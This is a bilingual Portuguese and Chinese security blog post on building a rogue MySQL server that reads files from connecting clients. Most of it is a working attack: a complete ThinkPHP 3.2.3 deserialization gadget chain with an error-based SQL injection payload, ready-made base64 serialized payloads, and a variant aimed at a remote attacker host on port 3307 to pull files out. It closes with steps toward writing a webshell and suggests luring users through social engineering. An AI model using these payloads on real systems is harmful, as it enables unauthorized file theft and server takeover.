【Segurança de Rede】Como construir um servidor malicioso MySQL para ler arquivos?

prefácio

Nota: Este artigo não envolve a pesquisa sobre pacotes do protocolo MySQL, mas apenas explica o princípio e faz algumas demonstrações.

Construindo um servidor MySQL malicioso para ler arquivos, embora o limite para uso direto seja relativamente alto, mas porque eu vi uma maneira relativamente nova de uso na Internet (usando engenharia social para atrair usuários para se conectar ao MySQL e depois ler arquivos de usuários), Pessoalmente, sinto que é relativamente interessante, resumiu o princípio de ataque e o método de ataque, por isso existe este artigo.

princípio

Antes de explicar os princípios específicos, algumas instruções SQL são apresentadas para fins de compreensão posterior.

Primeiro crie um novo tmp.txt no diretório tmp

O conteúdo é o seguinte:

Em seguida, execute a seguinte instrução SQL para importar o arquivo tmp.txt para ele:

mysql> load data local infile "/tmp/tmp.txt" into table test fields terminated by '\n';
Query OK, 3 rows affected (2.63 sec)
Records: 3  Deleted: 0  Skipped: 0  Warnings: 0
​
mysql> select * from Test;
+-------+
| name  |
+-------+
| admin |
| user  |
| Lxxx  |
+-------+
3 rows in set (0.00 sec)
复制代码
  • A instrução load data local infile lerá o arquivo local do cliente
  • A instrução load data infile lerá o arquivo local no servidor
  • terminado por meio de dividir por um determinado caractere, o padrão é Tab, aqui eu defino como \n

Neste momento, pode não estar claro, o que é um servidor e o que é um cliente?

Porque, em geral, o SQL de depuração está na máquina local, e o banco de dados também está na máquina local. Essa situação leva ao fato de o cliente e o servidor serem ambos locais, o que é um pouco difícil de distinguir. Vou usar uma imagem para descrevê-lo brevemente abaixo.

Localmente, uma vez que o cliente e o servidor estão no mesmo disco, localmente, os arquivos podem ser transferidos para o banco de dados independentemente de o local ser adicionado ou não, e a vulnerabilidade de usar o servidor malicioso MySQL para ler os arquivos será discutida posteriormente. usar local para atingir o objetivo de trazer o arquivo.

[Ver documentos relacionados]
1. Rota de aprendizado de segurança de rede
2. E-books (chapéu branco)
3. Vídeo internosegurança4, 5. Perguntas comuns de entrevista de segurança
100 documentos src8. Notas de resposta de emergência



Abaixo, desenhei duas imagens, a primeira imagem é o processo normal de negócios e a segunda imagem é o processo de ataque malicioso pelo invasor.

O processo de negócios de back-end normal é o seguinte:

Quando o invasor sequestra o servidor de back-end e cria um MySQL malicioso na rede pública, o fluxograma é o seguinte:

这样攻击者就可以在后端达到任意文件下载的目的。

演示

虽说在之前的某个CTF比赛出过类似的题目,但是我这里还是使用ThinkPHP3.2.3存在的反序列化漏洞,结合MySQL恶意服务器读取敏感文件,进而RCE的样例。

首先在本地先启动一个ThinkPHP3.2.3的框架,连接好数据库,在Application/Home/Controller/HelloController.class.php控制器中写一个反序列化入口。

<?php
namespace Home\Controller;
​
use Think\Controller;
​
class HelloController extends Controller
{
public function index($Lxxx){
echo base64_decode($Lxxx);
$a = unserialize(base64_decode($Lxxx));
}
}
复制代码

具体的链子,我就不跟了,网上也有很多,虽然链子具体的方法不跟进,但是我还是需要介绍一下这条链子能起到一个什么作用。

  1. 首先需要一个反序列化入口,这是毋庸置疑的,没有反序列化入口,那就无法进行反序列化,所以上方我就在HelloController控制器中自己写了一个反序列化入口;
  2. 这条链子最终的链尾是需要数据库的相关信息,例如数据库名,数据库端口,数据库用户以及密码,并且这条链子是允许使用堆叠注入的,因此如果知道数据库相关信息,那么就可以利用堆叠注入写入一句话木马进而getshell。

这里我就直接将链子放出来,然后演示一下如何搭建一个恶意的MySQL数据库,获取敏感文件,进而getshell。

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
);
protected $config = array(
"debug"    => 1,
"database" => "tp323",
"hostname" => "127.0.0.1",
"hostport" => "8889",
"charset"  => "utf8",
"username" => "root",
"password" => "root"
);
}
}
​
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
​
public function __construct(){
$this->img = new Memcache();
}
}
}
​
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
​
public function __construct(){
$this->handle = new Model();
}
}
}
​
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options   = array();
protected $pk;
protected $data = array();
protected $db = null;
​
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
​
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
​
复制代码

上方链子中的数据库信息为我本地的数据库信息,执行该文件后,得到序列化字符串如下:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjk6IjEyNy4wLjAuMSI7czo4OiJob3N0cG9ydCI7czo0OiI4ODg5IjtzOjc6ImNoYXJzZXQiO3M6NDoidXRmOCI7czo4OiJ1c2VybmFtZSI7czo0OiJyb290IjtzOjg6InBhc3N3b3JkIjtzOjQ6InJvb3QiO319fX19
复制代码

传给url

可以看到报错注入成功。

然后,在公网上搭建一个恶意的MySQL服务,这个脚本在Github中已经有前辈写好了,具体原理就是分析相关的MySQL报文,然后与后端服务器创建恶意连接,并且获得自己想要的文件。

下载好POC之后,修改一下要读取的文件名。

然后利用Python启动,启动完成后,恶意的MySQL就在监听3307端口。

python rogue_mysql_server.py
复制代码

接下来修改之前的链子,把IP和端口修改为远程恶意的MySQL地址,然后生成链子。

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true    // 开启才能读取文件
);
protected $config = array(
"debug"    => 1,
"database" => "tp323",
"hostname" => "1.1.1.1",
"hostport" => "3307",
"charset"  => "utf8",
"username" => "root",
"password" => "root"
);
}
}
​
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
​
public function __construct(){
$this->img = new Memcache();
}
}
}
​
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
​
public function __construct(){
$this->handle = new Model();
}
}
}
​
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options   = array();
protected $pk;
protected $data = array();
protected $db = null;
​
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "tp_user where 1=updatexml(1,concat(0x7e,version(),0x7e),1)#",
"where" => "1=1"
);
}
}
}
​
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
复制代码

得到:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjQ6e3M6MTA6IgAqAG9wdGlvbnMiO2E6MTp7czo1OiJ3aGVyZSI7czowOiIiO31zOjU6IgAqAHBrIjtzOjI6ImlkIjtzOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjU5OiJ0cF91c2VyIHdoZXJlIDE9dXBkYXRleG1sKDEsY29uY2F0KDB4N2UsdmVyc2lvbigpLDB4N2UpLDEpIyI7czo1OiJ3aGVyZSI7czozOiIxPTEiO319czo1OiIAKgBkYiI7TzoyMToiVGhpbmtcRGJcRHJpdmVyXE15c3FsIjoyOntzOjEwOiIAKgBvcHRpb25zIjthOjE6e2k6MTAwMTtiOjE7fXM6OToiACoAY29uZmlnIjthOjc6e3M6NToiZGVidWciO2k6MTtzOjg6ImRhdGFiYXNlIjtzOjU6InRwMzIzIjtzOjg6Imhvc3RuYW1lIjtzOjc6IjEuMS4xLjEiO3M6ODoiaG9zdHBvcnQiO3M6NDoiMzMwNyI7czo3OiJjaGFyc2V0IjtzOjQ6InV0ZjgiO3M6ODoidXNlcm5hbWUiO3M6NDoicm9vdCI7czo4OiJwYXNzd29yZCI7czo0OiJyb290Ijt9fX19fQ==
复制代码

传给HomeController控制器,

然后就可以在远程VPS中的mysql.log得到之前需要恶意下载的文件。

现在得到了相关数据库信息,然后就可以再次构造链子,利用堆叠注入写入一句话木马getshell了。

使用场景

  • 能劫持后端服务器,但无法getshell的时候,可以采用这个方法getshell(例如ThinkPHP3.2.3的利用链只能到数据库层,则可以通过这个方法getshell);
  • 能引诱用户连接恶意MySQL(社会工程学)。

Acho que você gosta

Origin juejin.im/post/7084205146233634853
Recomendado
Clasificación